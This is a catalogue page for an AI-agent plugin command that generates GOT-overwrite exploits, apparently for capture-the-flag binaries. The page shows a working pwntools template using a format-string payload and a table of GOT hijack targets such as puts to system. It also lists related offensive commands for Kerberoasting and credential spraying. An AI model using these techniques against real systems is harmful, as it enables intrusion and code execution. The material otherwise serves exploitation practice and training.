Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/allsmog/pwn-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-got-overwrite)<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-got-overwrite"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-got-overwrite/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-got-overwrite"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-got-overwrite.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00017 | $0.00668 |
| Opus 5 | $0.00009 | $0.00334 |
| Sonnet 5 | $0.00003 | $0.00134 |
| Haiku 4.5 | $0.00002 | $0.00067 |
Grade A, and why
pwn-got-overwrite scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 108 lines — stays where its author put it; the contents beside it link to each section on GitHub.
PWN GOT Overwrite - GOT Hijacking Template
Generate a GOT overwrite exploit for binaries with partial RELRO.
Prerequisites
- Partial RELRO (not Full RELRO)
- Write primitive (format string or arbitrary write)
- Target function that gets called after overwrite
Generated Template
#!/usr/bin/env python3
"""
GOT Overwrite Exploit
Target: <binary>
Requirement: Partial RELRO
"""
from pwn import *
# === CONFIGURATION ===
BINARY = './<binary>'
# === SETUP ===
elf = ELF(BINARY)
context.binary = elf
def conn():
if args.REMOTE:
return remote(args.HOST, int(args.PORT))
elif args.GDB:
return gdb.debug(BINARY, '''
b main
c
''')
else:
return process(BINARY)
def main():
io = conn()
# === GOT ENTRIES ===
log.info("GOT Entries:")
for name, addr in elf.got.items():
print(f" {name}: {hex(addr)}")
# === COMMON TARGETS ===
# Overwrite exit() to call win() or main()
target_got = elf.got['exit'] # Function to hijack
new_value = elf.symbols['win'] # Where to redirect
# Or redirect to system() in libc (after leak)
# new_value = libc.symbols['system']
log.info(f"Overwriting {hex(target_got)} with {hex(new_value)}")
# === WRITE PRIMITIVE ===
# Option 1: Format string
FMT_OFFSET = 6 # TODO: Find correct offset
writes = {target_got: new_value}
payload = fmtstr_payload(FMT_OFFSET, writes)
# Option 2: Arbitrary write gadget
# payload = p64(target_got) + p64(new_value)
# Use write-what-where gadget
io.sendline(payload)
# === TRIGGER OVERWRITTEN FUNCTION ===
# May happen automatically (exit at end)
# Or send input to trigger call
io.interactive()
if __name__ == '__main__':
main()
Common GOT Targets
| Overwrite | With | Effect |
|---|---|---|
exit |
main |
Loop for more inputs |
exit |
win |
Direct win |
puts |
system |
puts(cmd) → system(cmd) |
printf |
system |
printf(cmd) → system(cmd) |
__stack_chk_fail |
win |
Bypass canary check |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 108 lines · 17 tokens per session scan A afede4c54627
pwn-got-overwrite is a command published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 17 tokens to every session and 668 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
bb-ad
Active Directory enumeration and attack techniques. Includes LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP Roasting), SMB attacks, and domain privilege escalation. Use this when targeting Windows domain environments.
bb-enum
Service-specific enumeration based on discovered ports. Automatically selects appropriate enumeration techniques for each service. Use after /bb-recon to deeply enumerate discovered services.
bb-setup
Verify penetration testing environment and tool installation. Use this before starting an HTB machine to ensure all required tools are available.
bb-crack
Crack password hashes with automatic type detection and wordlist discovery. Supports MD5, SHA, NTLM, bcrypt, and more.
bb-spray
Credential spraying across discovered services.
bb-web
Comprehensive web application testing for HTTP/HTTPS services. Includes directory fuzzing, vulnerability scanning, technology fingerprinting, and common exploit checks. Use this when a web service is discovered.